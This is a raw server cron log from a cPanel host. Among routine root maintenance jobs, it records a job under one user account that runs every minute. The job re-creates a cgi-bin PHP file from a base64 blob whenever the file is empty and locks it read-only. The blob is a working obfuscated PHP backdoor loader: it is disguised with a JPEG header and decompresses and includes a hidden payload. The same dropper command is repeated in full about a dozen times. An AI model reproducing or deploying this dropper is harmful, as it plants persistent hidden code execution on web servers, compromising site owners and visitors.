Sep 11 15:44:01 server CROND[32199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:45:01 server CROND[32723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:45:01 server CROND[32725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:45:01 server CROND[32727]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:45:01 server CROND[32726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:45:01 server CROND[32729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:45:01 server CROND[32730]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:45:01 server CROND[32728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:46:01 server CROND[1183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:46:01 server CROND[1182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:46:01 server CROND[1184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:47:01 server CROND[1600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:47:01 server CROND[1601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:47:01 server CROND[1602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:48:01 server CROND[2058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:48:01 server CROND[2059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:48:01 server CROND[2060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:49:01 server CROND[2433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:49:01 server CROND[2434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:49:01 server CROND[2435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:50:01 server CROND[2952]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:50:01 server CROND[2953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:50:01 server CROND[2955]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:50:01 server CROND[2959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:50:01 server CROND[2960]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:50:01 server CROND[2956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:50:01 server CROND[2958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:50:01 server CROND[2961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:50:01 server CROND[2957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:51:01 server CROND[3798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:51:01 server CROND[3799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:51:01 server CROND[3797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:52:01 server CROND[4175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:52:01 server CROND[4176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:52:01 server CROND[4177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:53:01 server CROND[4538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:53:01 server CROND[4540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:53:01 server CROND[4539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:54:01 server CROND[4918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:54:01 server CROND[4920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:54:01 server CROND[4919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:55:01 server CROND[5392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:55:01 server CROND[5393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:55:01 server CROND[5402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:55:01 server CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:55:01 server CROND[5400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:55:01 server CROND[5401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:55:01 server CROND[5407]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:56:01 server CROND[6222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:56:01 server CROND[6223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
